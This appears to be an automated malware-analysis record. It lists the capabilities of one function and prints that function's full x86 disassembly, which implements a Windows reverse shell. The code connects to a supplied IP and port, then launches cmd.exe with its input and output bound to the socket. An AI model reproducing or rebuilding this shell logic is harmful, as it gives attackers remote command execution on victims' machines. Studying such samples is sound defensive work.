Function at 0x4045b8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x648
mov dword [esp], 0x3e8
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x5cc]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._WSASocketA_24
sub esp, 0x18
mov dword [ebp - 0xc], eax
mov word [ebp - 0x24], 2
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._inet_addr_4
sub esp, 4
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
movzx eax, ax
mov dword [esp], eax
call sym._htons_4
sub esp, 4
mov word [ebp - 0x22], ax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WSAConnect_28
sub esp, 0x1c
cmp eax, 0xffffffff
sete al
test al, al
je 0x4046ae
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
jmp 0x404890
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x43c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x43c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jg 0x404715
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
jmp 0x404890
mov dword [ebp - 0x2c], 0x2e646d63
mov dword [ebp - 0x28], 0x657865
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x610]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x610], 0x44
mov dword [ebp - 0x5e4], 0x101
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x5d0], eax
mov eax, dword [ebp - 0x5d0]
mov dword [ebp - 0x5d4], eax
mov eax, dword [ebp - 0x5d4]
mov dword [ebp - 0x5d8], eax
lea eax, [ebp - 0x3c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x610]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x2c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x43c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x43c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jg 0x404866
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
jmp 0x4045c1
mov dword [esp + 4], str.exit_n
lea eax, [ebp - 0x43c]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x4045c1
mov dword [esp], 0
call sym._exit
jmp 0x4045c1